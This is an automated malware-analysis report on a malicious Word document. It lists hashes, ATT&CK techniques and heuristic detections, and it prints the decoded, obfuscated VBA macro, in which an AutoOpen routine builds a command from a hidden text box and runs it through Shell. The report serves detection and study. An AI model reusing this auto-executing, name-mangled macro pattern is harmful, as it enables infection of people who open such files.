Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5bc3a24e2e1857fd…

MALICIOUS

Office (OLE)

133.4 KB Created: 2018-12-13 16:38:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 481b3c1581cf42bd180dcc72733bd6c9 SHA-1: 953d045341c26d1bf482c3eb7b1c5010649fbd44 SHA-256: 5bc3a24e2e1857fd541975f994594c2aec951e72ade1c76bdf5888409043e4e8
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the AutoOpen function and includes calls to Shell(), indicating an attempt to execute arbitrary commands. Heuristics also flag suspicious cmd.exe and PowerShell invocations, suggesting the macro likely downloads and executes a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Malware.Valyria-6786330-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6786330-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(iBSDBPPH, XsiLCDnVQ), DkjpjaP)
   Set GssNhiLFaqkKBBcGB = VMPjMbrcUNBznoZu
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
wIkJMutiz
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7708 bytes
SHA-256: 2cbb8b0926b1c17771262d686168f534df404019329b5c7bc039e72cec21a020
Detection
ClamAV: No threats found
Obfuscation or payload: likely
213 of 250 identifiers look randomly generated (e.g. 'nCtHOvuHBWVrSHtSWGHIjutQ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "lQknRLjWSswoaR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
wIkJMutiz
End Sub

Attribute VB_Name = "wEwXqkddllPSQ"
Function wIkJMutiz()
On Error Resume Next
   Set qtZYbMPPHkhoaONcofJj = jQOGabknnMCMUwTAVhIwAP
   Select Case pJJRtAHrloqGdLRA
      Case 244070039
         bTXfcGPtbSwBnlUEYwRJ = njVRXdrqpDhXQYvpKhCCzYo
         jBFmYmUjboonBOEdXDmPQdW = 83998068
         OOPOHrOrbhWYFRDiwvc = HnvdZiwmZcFfsMKXFUTwa
      Case 313935757
         hiFSlijSitcRbSmpcvb = CByte(zbrfsHfdibfJMNOvT)
         KDtKXlPviETirBwd = ChrW(GqZZiDDoGOTFNEqWPlX)
         pDFQwYaJzkiKimIEunf = Log(qVRXwqUAcIbPbE)
   End Select
   Set UtDpjzKEVRRCpWCBLzNUYr = qTqRfwlmpuflJWrKIEf
   Select Case joQvoXWljiSPcUN
      Case 146343180
         iiGjibHKksfTmEQtjpCCuc = bADHcPJpJVUaZZZ
         NJlEirRziCWtiKT = 314038808
         WfjbTfubDVzRdqU = kptJYdjiFdZtPKwB
      Case 163401679
         DtqdtiqdbVTfALCjuU = CByte(mjsvAVqFBLsWwtImaTH)
         OSvBOOadNqfPibmoKwpHDYoR = ChrW(wXmrZbQnZLTkrhlvNrKfc)
         UGTbbdzsqddSPqoloOPcEPS = Log(TRDLpjdmFFDfYz)
   End Select
   Set TZcSXzscDVzdmoC = fkhjRzfKiZMNouuj
   Select Case wYzwfQHjlGHzRiDV
      Case 261131958
         bbuoUuSkzmioJbNS = PFOAUZDfsXMRvIrAjSHRJE
         fuSVBzzjjzpnQZ = 91229143
         CqJbWGSCinndIGB = KCiFCEChvrcSFUbbSLEa
      Case 5660799
         jZcPrNJUYdzLcNqIFwob = CByte(fdzzJMMKzBbdhVJcmMoX)
         SzUtsNkJFGlZwBvcRiB = ChrW(JbbWhvshjSlzDDMdfDRzbBrv)
         EjTNAUinaSrXwMwUDdnUmW = Log(pSzORBVHjjjdMYTjzHLclUG)
   End Select
   Set jTDwUwGbmjJEIDfnoRtvqo = afpURFuQVAzKIYiqwXlKTuK
   Select Case OwRBatazrccRiipWrQ
      Case 260967243
         ItXPFazXFdWfVW = SospcaASfvRMSiO
         DHGKVbBwzwCtNGzwH = 161216422
         izaLdIarUoOfpqLTYO = krmwpjYGEZwUEtMj
      Case 129240892
         wdBvjhIlQMDCmYiwofvC = CByte(iECVSVTKldJrqckJpHFoE)
         LCCmZmIFjlQrRYzZR = ChrW(obijuLwwzmwYqOjO)
         zTjwjCjwYawKLJPqtzdkbIr = Log(cpVGIvCKCfAGlPIYwnVkzm)
   End Select
   Set IOMNtkdzqBIoDt = dzIkpYodnJFVqKmhspQh
   Select Case JQVBSYKPrDZwWpYpwHc
      Case 132176974
         YEoPmoEUPzmMFThmiWAiO = FjZTVOstioMpkMhmjjGvbEmj
         VqCPkcpWcwIpTTpbV = 114686649
         zPjVEwqRYTUBtqCzXpdzMXTI = ZzNPQTFmpjCmUzTt
      Case 71227000
         DHzOwQTSlsTlcwaHf = CByte(dBHzOOEGANCrKDBFQBQKwwww)
         NTEGFLNSVQJJDsiKrQFPu = ChrW(PjXjZqUzhFJSBvAAuCpZo)
         svNJiAHfqjnjDUjZmWzViE = Log(krmKrWDZUsbrbT)
   End Select
   Set zdMpPMIHwOLhnMPL = SNLQjofSVHrpRECZ
   Select Case ovhmhiqAGzTAisCmf
      Case 277513001
         iwQojXuEQSjKIIZYTdY = iUQcpMRmOpCmOauSXGAPm
         ZiZoKsJUiIGEzJjozUFH = 277042229
         PuwhNGANcJwAvhCBBYd = GufJdlljHfJfowTfrdfCUVf
      Case 324792420
         zOzlzThiwVVPnEb = CByte(RFzASMwNXJXtbZkOhC)
         XmzJLcBrcwQEZEhCPizn = ChrW(RlOownDWkGhlYEiTwlXRU)
         PGFwptWVfkOuFBjVPo = Log(VsrjTBzwjTzZVRzVHjzwJzPb)
   End Select
Const XsiLCDnVQ = 0
   Set NElwOqSowzjVlnFfmTokB = pvFsuQQRRfwpQqjJkGHAHv
   Select Case KjfFPlvsuhbOprWwCYjhB
      Case 161699015
         XOwcihdBftKvLOKAjWnCIocq = OKEbbOklkHqQIMKQf
         UfvLhrXzKOWnimIKUWYZDfaJ = 175697927
         TjXKcldsHKWDdMD = EVPwZEIwrosFspFmkaY
      Case 265482981
         AllKpiznRtLWcbEtiiP = CByte(YSotXASFjSDoPzDjilj)
         KLaujjPOBtGrJNDhzrn = ChrW(MsDzqXGdXUOswpQNstMolD)
         qLLfCvVmmwuNSH = Log(EJcmrjiOtTzqpEfzDIo)
   End Select
   Set fcsbQMiQCHOtFzoY = VWvBKoHzDaNEacPYBzBnOJto
   Select Case dTnuBtlzEKUCLUolcNmU
      Case 78999373
         fwVEBnkkMcHYhUUECjb = VSuVpcNClvHTRBo
         YzszNUzrunnTQXKFtEGNDz = 93170079
         aiwQVoGjjjjFoitAUDb = ptlOlBaMvbkYiT
      Case 154795001
         WjWFjHmkrFROKFsAYLjj = CByte(kfTOukFwHWUGOinhVWiGBXfk)
         BpijAXkrimBCrlWh = ChrW(jiwHwaETDpAZuMAiDtvWMH)
         kPjsmiikLZNnwoDFPdQzijSn = Log(AUosbLbcjMsPiSoYEoz)
   End Select
   Set IVuVwJnzqbQCYWb = lITBGjYLIbAXsobW
   Select Case qqiZQiLiBBPfoMGCh
      Case 296296185
         zBAcwiMXIQFCztlijskV = IWFfJfTPuUKvzXPqOlqD
         COwwPlDdZJwXzqf = 309760530
         nCtHOvuHBWVrSHtSWGHIjutQ = UKOYzhjvQwoJAnSCrNPhm
      Case 44670684
         DEdjYmRsIcVulj = CByte(EpmvBIFIWToGojiizNHLT)
         zLJzFfhithWIJavqEu = ChrW(vHQjjcLitWjiUPjramBCabsa)
         jfXDnIINNYNhccX = Log(AnHMDBtZjUDDsWTOqbwzobF)
   End Select
   Set YKddUFVHRiLnJKswNm = cUzjZbUiYwBrBJYurMi
   Select Case tGOjqjZOJTiBwNSD
      Case 173200272
         DBAawLPnKdkQAlibfVFO = qBGVERAsnrVTNIhKTJDUCY
         dsSsWXhwzMnMzuFstOvWlPwm = 191103109
         RLLCtnRFcclZiVGvXHawhPOR = FHCKNvfPZGVkuSAu
      Case 305682072
         cGTkaQqspMjPBzuso = CByte(PuPjGKEOkKdpZBmwlLqU)
         mUVGTiJFYqBdUfzBvAJj = ChrW(jfOzmfdCLiCTzdau)
         mbvJLUcLFVnwpLjoVFo = Log(GjCjCMHwJVCYHWN)
   End Select
iBSDBPPH = lQknRLjWSswoaR.TextBox1 + zUTEFUq + HqWKwK + aokNE + qAjaFZht + RwQmX + uCDYWtY + fddXOKqG + dECAGrXS + XqiQjEZ + uvwLhku + NdRPOS + hvZmFE
   Set NNdGcQIiTSCVHYOUzuUBVZG = LzBQktSrkKklEBwafk
   Select Case miSXjoJwKicYnGHufPrzZA
      Case 72631735
         zncPwwuVlkTotZSbbvHJI = wizGQLomPmXhZvMuzMoGn
         nSBFwPWisBcLrz = 114911384
         hjhwVhQLAWPhvuVBwtriFLO = QluVENEOcHiEZohGCpF
      Case 175768003
         pizjbNwFmmWUIi = CByte(mvHmRAEoPQbJLlcQFnYbD)
         ocAGIqVIkRGwTHhSJzkuiQAD = ChrW(UJWQhjHjqGfmLrOSHjKDMS)
         iniZqJNYcwTojzsChw = Log(cACfzHWbakpAZBnnc)
   End Select
   Set GNviLTHUVrwpqtPu = QpHAcFWAqBjSbOjZbhZAObZE
   Select Case fflFJakuHnwALiHZiURbCud
      Case 108125856
         OLqujpQCFzZlvhawY = bhYPDSajGHdslCUouO
         AXzizFjhojnqfdaBirwIYTz = 232343188
         ZNMXQGnMCXvdzaJ = kmATQwOKAmwvGVjXOZ
      Case 162020694
         UKYczicFiYjRolojzQsazBW = CByte(KrFjrYPaBRBZOXTlVIfc)
         fGUhzYwjzsTnuS = ChrW(ZwOGJJPXjOSbwHF)
         VubfkkwrzQuEYilUFLMZtZS = Log(PjlThwBYsCztTnXozXGsOLw)
   End Select
zWlvjzw = Array(hPBzfKC, VLWlsB, nXbWSa, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(iBSDBPPH, XsiLCDnVQ), DkjpjaP)
   Set GssNhiLFaqkKBBcGB = VMPjMbrcUNBznoZu
   Select Case ljktcBiIzSnaprnziwdz
      Case 173283479
         QVEOzEcDwkGXrXQQtLjX = IDBiWNwEpwuDFSPoN
         ifuWDUSAQjSFST = 16938488
         HRCjbrizHoLTlEBbf = CrVmAhMVwPljibB
      Case 272539931
         zmdcmBuOOIwOLhqZ = CByte(RKvVQUWFuPNXKkSw)
         DpCfPqaYlZOGlhuKTKqupjR = ChrW(WsljrEYjSRdBXfB)
         UwivIzIiSMqabBEWYv = Log(WFtjhBhoUEtnnIW)
   End Select
   Set wXuzMWPLYADiwbzkPh = MuUwadFFRpHsWZcYdUXJwAo
   Select Case azifiwuTuASYdbT
      Case 142005449
         QwWRIhFTCTQsXwM = OVcwZaUvnzWGDuB
         BCfBRpSQZLccdb = 149594902
         GSPFrWhqibdKLw = HSPqVRKoYDMZNwrRM
      Case 178018776
         zkfvJfUpXqLIFavUK = CByte(kBmwiqCizTrmJRjsz)
         cWFLBbmzNvGwSihCbZjC = ChrW(otihAwlhuYMbPsn)
         ZzKJjdHYwBNEGqJ = Log(wYndadAdBQTWuXDm)
   End Select
   Set EmWRFHiVQiMEZcmcdB = KfKjKfowRQERHH
   Select Case lnFhmrnOKhhNJfWlTkDwotGM
      Case 251990940
         KMFLREwdrwWwPIWQA = cSfQuflhEJHrhtvVhaJwPdQj
         XOWVubYsGjUluSaakznVAR = 194471199
         tbwGCjwBzcWQOM = hjwbJbjmIjYfidKn
      Case 43792362
         VbSfRqWkSlSvJLYoFmBpT = CByte(KpoWiEUYooQftlrCRHE)
         IzUMaMHpXYlQRvQdrvM = ChrW(QuzdfiSnzDUtluRMU)
         wRwiAPCzNzUOLWvlIOA = Log(jvuUsUErfWiEJPwuWlthajQ)
   End Select
End Function

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